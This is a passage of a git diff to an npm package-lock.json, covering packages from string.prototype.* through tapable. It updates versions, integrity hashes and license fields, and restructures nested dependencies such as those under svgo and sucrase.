-      "integrity": "sha512-rGXbGmOEosIQi6Qva94HUjgPs9vKW+dkG7Y8Q5O2OYkWL6wFaTRZO8zM4mhP94uX55wgyrXzfS2aGtGzUL7EJQ==",
+    "node_modules/string.prototype.includes": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/string.prototype.includes/-/string.prototype.includes-2.0.1.tgz",
+      "integrity": "sha512-o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1",
-        "get-intrinsic": "^1.2.1",
-        "has-symbols": "^1.0.3",
-        "internal-slot": "^1.0.5",
-        "regexp.prototype.flags": "^1.5.0",
-        "set-function-name": "^2.0.0",
-        "side-channel": "^1.0.4"
+        "call-bind": "^1.0.7",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/string.prototype.matchall": {
+      "version": "4.0.12",
+      "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.12.tgz",
+      "integrity": "sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.3",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.6",
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.0.0",
+        "get-intrinsic": "^1.2.6",
+        "gopd": "^1.2.0",
+        "has-symbols": "^1.1.0",
+        "internal-slot": "^1.1.0",
+        "regexp.prototype.flags": "^1.5.3",
+        "set-function-name": "^2.0.2",
+        "side-channel": "^1.1.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
-    "node_modules/string.prototype.trim": {
-      "version": "1.2.8",
-      "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.8.tgz",
-      "integrity": "sha512-lfjY4HcixfQXOfaqCvcBuOIapyaroTXhbkfJN3gcB1OtyupngWK4sEET9Knd0cXd28kTUqu/kHoV4HKSJdnjiQ==",
+    "node_modules/string.prototype.repeat": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/string.prototype.repeat/-/string.prototype.repeat-1.0.0.tgz",
+      "integrity": "sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1"
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.17.5"
+      }
+    },
+    "node_modules/string.prototype.trim": {
+      "version": "1.2.10",
+      "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz",
+      "integrity": "sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.2",
+        "define-data-property": "^1.1.4",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.5",
+        "es-object-atoms": "^1.0.0",
+        "has-property-descriptors": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -17211,26 +16864,35 @@
       }
     },
     "node_modules/string.prototype.trimend": {
-      "version": "1.0.7",
-      "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.7.tgz",
-      "integrity": "sha512-Ni79DqeB72ZFq1uH/L6zJ+DKZTkOtPIHovb3YZHQViE+HDouuU4mBrLOLDn5Dde3RF8qw5qVETEjhu9locMLvA==",
+      "version": "1.0.9",
+      "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz",
+      "integrity": "sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1"
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.2",
+        "define-properties": "^1.2.1",
+        "es-object-atoms": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/string.prototype.trimstart": {
-      "version": "1.0.7",
-      "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.7.tgz",
-      "integrity": "sha512-NGhtDFu3jCEm7B4Fy0DpLewdJQOZcQ0rGbwQ/+stjnrp2i+rlKeCvos9hOIeCmqwratM47OBxY7uFZzjxHXmrg==",
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz",
+      "integrity": "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1"
+        "call-bind": "^1.0.7",
+        "define-properties": "^1.2.1",
+        "es-object-atoms": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -17240,6 +16902,7 @@
       "version": "3.3.0",
       "resolved": "https://registry.npmjs.org/stringify-object/-/stringify-object-3.3.0.tgz",
       "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "get-own-enumerable-property-symbols": "^3.0.0",
         "is-obj": "^1.0.1",
@@ -17253,6 +16916,7 @@
       "version": "6.0.1",
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
       "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^5.0.1"
       },
@@ -17265,6 +16929,7 @@
       "version": "6.0.1",
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
       "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^5.0.1"
       },
@@ -17276,6 +16941,7 @@
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz",
       "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -17284,6 +16950,7 @@
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/strip-comments/-/strip-comments-2.0.1.tgz",
       "integrity": "sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       }
@@ -17292,6 +16959,7 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz",
       "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -17301,6 +16969,7 @@
       "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
       "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "min-indent": "^1.0.0"
       },
@@ -17312,6 +16981,7 @@
       "version": "3.1.1",
       "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",
       "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       },
@@ -17323,6 +16993,7 @@
       "version": "3.3.4",
       "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.4.tgz",
       "integrity": "sha512-0WqXzrsMTyb8yjZJHDqwmnwRJvhALK9LfRtRc6B4UTWe8AijYLZYZ9thuJTZc2VfQWINADW/j+LiJnfy2RoC1w==",
+      "license": "MIT",
       "engines": {
         "node": ">= 12.13.0"
       },
@@ -17338,6 +17009,7 @@
       "version": "5.1.1",
       "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-5.1.1.tgz",
       "integrity": "sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw==",
+      "license": "MIT",
       "dependencies": {
         "browserslist": "^4.21.4",
         "postcss-selector-parser": "^6.0.4"
@@ -17353,6 +17025,7 @@
       "version": "3.35.0",
       "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.0.tgz",
       "integrity": "sha512-8EbVDiu9iN/nESwxeSxDKe0dunta1GOlHufmSSXxMD2z2/tMZpDMpvXQGsc+ajGo8y2uYUmixaSRUc/QPoQ0GA==",
+      "license": "MIT",
       "dependencies": {
         "@jridgewell/gen-mapping": "^0.3.2",
         "commander": "^4.0.0",
@@ -17371,9 +17044,10 @@
       }
     },
     "node_modules/sucrase/node_modules/brace-expansion": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz",
-      "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==",
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz",
+      "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==",
+      "license": "MIT",
       "dependencies": {
         "balanced-match": "^1.0.0"
       }
@@ -17382,35 +17056,36 @@
       "version": "4.1.1",
       "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz",
       "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==",
+      "license": "MIT",
       "engines": {
         "node": ">= 6"
       }
     },
     "node_modules/sucrase/node_modules/glob": {
-      "version": "10.3.10",
-      "resolved": "https://registry.npmjs.org/glob/-/glob-10.3.10.tgz",
-      "integrity": "sha512-fa46+tv1Ak0UPK1TOy/pZrIybNNt4HCv7SDzwyfiOZkvZLEbjsZkJBPtDHVshZjbecAoAGSC20MjLDG/qr679g==",
+      "version": "10.4.5",
+      "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz",
+      "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==",
+      "license": "ISC",
       "dependencies": {
         "foreground-child": "^3.1.0",
-        "jackspeak": "^2.3.5",
-        "minimatch": "^9.0.1",
-        "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0",
-        "path-scurry": "^1.10.1"
+        "jackspeak": "^3.1.2",
+        "minimatch": "^9.0.4",
+        "minipass": "^7.1.2",
+        "package-json-from-dist": "^1.0.0",
+        "path-scurry": "^1.11.1"
       },
       "bin": {
         "glob": "dist/esm/bin.mjs"
       },
-      "engines": {
-        "node": ">=16 || 14 >=14.17"
-      },
       "funding": {
         "url": "https://github.com/sponsors/isaacs"
       }
     },
     "node_modules/sucrase/node_modules/minimatch": {
-      "version": "9.0.3",
-      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.3.tgz",
-      "integrity": "sha512-RHiac9mvaRw0x3AYRgDC1CxAP7HTcNrrECeA8YYJeWnpo+2Q5CegtZjaotWTWxDG3UeGA1coE05iH1mPjT/2mg==",
+      "version": "9.0.5",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",
+      "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",
+      "license": "ISC",
       "dependencies": {
         "brace-expansion": "^2.0.1"
       },
@@ -17422,20 +17097,22 @@
       }
     },
     "node_modules/supports-color": {
-      "version": "5.5.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
-      "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "license": "MIT",
       "dependencies": {
-        "has-flag": "^3.0.0"
+        "has-flag": "^4.0.0"
       },
       "engines": {
-        "node": ">=4"
+        "node": ">=8"
       }
     },
     "node_modules/supports-hyperlinks": {
       "version": "2.3.0",
       "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz",
       "integrity": "sha512-RpsAZlpWcDwOPQA22aCH4J0t7L8JmAvsCxfOSEwm7cQs3LshN36QaTkwd70DnBOXDWGssw2eUoc8CaRWT0XunA==",
+      "license": "MIT",
       "dependencies": {
         "has-flag": "^4.0.0",
         "supports-color": "^7.0.0"
@@ -17444,29 +17121,11 @@
         "node": ">=8"
       }
     },
-    "node_modules/supports-hyperlinks/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/supports-hyperlinks/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/supports-preserve-symlinks-flag": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
       "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       },
@@ -17477,13 +17136,15 @@
     "node_modules/svg-parser": {
       "version": "2.0.4",
       "resolved": "https://registry.npmjs.org/svg-parser/-/svg-parser-2.0.4.tgz",
-      "integrity": "sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ=="
+      "integrity": "sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ==",
+      "license": "MIT"
     },
     "node_modules/svgo": {
       "version": "1.3.2",
       "resolved": "https://registry.npmjs.org/svgo/-/svgo-1.3.2.tgz",
       "integrity": "sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw==",
       "deprecated": "This SVGO version is no longer supported. Upgrade to v2.x.x.",
+      "license": "MIT",
       "dependencies": {
         "chalk": "^2.4.1",
         "coa": "^2.0.2",
@@ -17506,18 +17167,61 @@
         "node": ">=4.0.0"
       }
     },
+    "node_modules/svgo/node_modules/ansi-styles": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+      "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+      "license": "MIT",
+      "dependencies": {
+        "color-convert": "^1.9.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
     "node_modules/svgo/node_modules/argparse": {
       "version": "1.0.10",
       "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
       "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+      "license": "MIT",
       "dependencies": {
         "sprintf-js": "~1.0.2"
       }
     },
+    "node_modules/svgo/node_modules/chalk": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+      "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+      "license": "MIT",
+      "dependencies": {
+        "ansi-styles": "^3.2.1",
+        "escape-string-regexp": "^1.0.5",
+        "supports-color": "^5.3.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/svgo/node_modules/color-convert": {
+      "version": "1.9.3",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
+      "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
+      "license": "MIT",
+      "dependencies": {
+        "color-name": "1.1.3"
+      }
+    },
+    "node_modules/svgo/node_modules/color-name": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
+      "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==",
+      "license": "MIT"
+    },
     "node_modules/svgo/node_modules/css-select": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/css-select/-/css-select-2.1.0.tgz",
       "integrity": "sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "boolbase": "^1.0.0",
         "css-what": "^3.2.1",
@@ -17529,6 +17233,7 @@
       "version": "3.4.2",
       "resolved": "https://registry.npmjs.org/css-what/-/css-what-3.4.2.tgz",
       "integrity": "sha512-ACUm3L0/jiZTqfzRM3Hi9Q8eZqd6IK37mMWPLz9PJxkLWllYeRf+EHUSHYEtFop2Eqytaq1FizFVh7XfBnXCDQ==",
+      "license": "BSD-2-Clause",
       "engines": {
         "node": ">= 6"
       },
@@ -17540,6 +17245,7 @@
       "version": "0.2.2",
       "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.2.2.tgz",
       "integrity": "sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==",
+      "license": "MIT",
       "dependencies": {
         "domelementtype": "^2.0.1",
         "entities": "^2.0.0"
@@ -17549,6 +17255,7 @@
       "version": "1.7.0",
       "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.7.0.tgz",
       "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "dom-serializer": "0",
         "domelementtype": "1"
@@ -17557,12 +17264,32 @@
     "node_modules/svgo/node_modules/domutils/node_modules/domelementtype": {
       "version": "1.3.1",
       "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.1.tgz",
-      "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w=="
+      "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==",
+      "license": "BSD-2-Clause"
+    },
+    "node_modules/svgo/node_modules/escape-string-regexp": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
+      "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    },
+    "node_modules/svgo/node_modules/has-flag": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
+      "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=4"
+      }
     },
     "node_modules/svgo/node_modules/js-yaml": {
       "version": "3.14.1",
       "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
       "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+      "license": "MIT",
       "dependencies": {
         "argparse": "^1.0.7",
         "esprima": "^4.0.0"
@@ -17575,6 +17302,7 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.2.tgz",
       "integrity": "sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "boolbase": "~1.0.0"
       }
@@ -17582,40 +17310,55 @@
     "node_modules/svgo/node_modules/sax": {
       "version": "1.2.4",
       "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz",
-      "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw=="
+      "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==",
+      "license": "ISC"
+    },
+    "node_modules/svgo/node_modules/supports-color": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+      "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+      "license": "MIT",
+      "dependencies": {
+        "has-flag": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
     },
     "node_modules/symbol-tree": {
       "version": "3.2.4",
       "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
-      "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw=="
+      "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==",
+      "license": "MIT"
     },
     "node_modules/tailwindcss": {
-      "version": "3.4.1",
-      "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.1.tgz",
-      "integrity": "sha512-qAYmXRfk3ENzuPBakNK0SRrUDipP8NQnEY6772uDhflcQz5EhRdD7JNZxyrFHVQNCwULPBn6FNPp9brpO7ctcA==",
+      "version": "3.4.17",
+      "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.17.tgz",
+      "integrity": "sha512-w33E2aCvSDP0tW9RZuNXadXlkHXqFzSkQew/aIa2i/Sj8fThxwovwlXHSPXTbAHwEIhBFXAedUhP2tueAKP8Og==",
+      "license": "MIT",
       "dependencies": {
         "@alloc/quick-lru": "^5.2.0",
         "arg": "^5.0.2",
-        "chokidar": "^3.5.3",
+        "chokidar": "^3.6.0",
         "didyoumean": "^1.2.2",
         "dlv": "^1.1.3",
-        "fast-glob": "^3.3.0",
+        "fast-glob": "^3.3.2",
         "glob-parent": "^6.0.2",
         "is-glob": "^4.0.3",
-        "jiti": "^1.19.1",
-        "lilconfig": "^2.1.0",
-        "micromatch": "^4.0.5",
+        "jiti": "^1.21.6",
+        "lilconfig": "^3.1.3",
+        "micromatch": "^4.0.8",
         "normalize-path": "^3.0.0",
         "object-hash": "^3.0.0",
-        "picocolors": "^1.0.0",
-        "postcss": "^8.4.23",
+        "picocolors": "^1.1.1",
+        "postcss": "^8.4.47",
         "postcss-import": "^15.1.0",
         "postcss-js": "^4.0.1",
-        "postcss-load-config": "^4.0.1",
-        "postcss-nested": "^6.0.1",
-        "postcss-selector-parser": "^6.0.11",
-        "resolve": "^1.22.2",
-        "sucrase": "^3.32.0"
+        "postcss-load-config": "^4.0.2",
+        "postcss-nested": "^6.2.0",
+        "postcss-selector-parser": "^6.1.2",
+        "resolve": "^1.22.8",
+        "sucrase": "^3.35.0"
       },
       "bin": {
         "tailwind": "lib/cli.js",
@@ -17626,17 +17369,22 @@
       }
     },
     "node_modules/tailwindcss/node_modules/lilconfig": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz",
-      "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==",
+      "version": "3.1.3",
+      "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz",
+      "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==",
+      "license": "MIT",
       "engines": {
-        "node": ">=10"
+        "node": ">=14"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/antonk52"
       }
     },
     "node_modules/tapable": {
-      "version": "2.2.1",
-      "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz",
-      "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==",
+      "version": "2.2.2",
+      "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.2.tgz",
+      "integrity": "sha512-Re10+NauLTMCudc7T5WLFLAwDhQ0JWdrMK+9B2M8zR5hRExKmsRDCBA7/aV/pNJFltmBFO5BAMlQFi/vq3nKOg==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -17645,6 +17393,7 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-2.0.0.tgz",
       "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -17653,6 +17402,7 @@
       "version": "0.6.0",
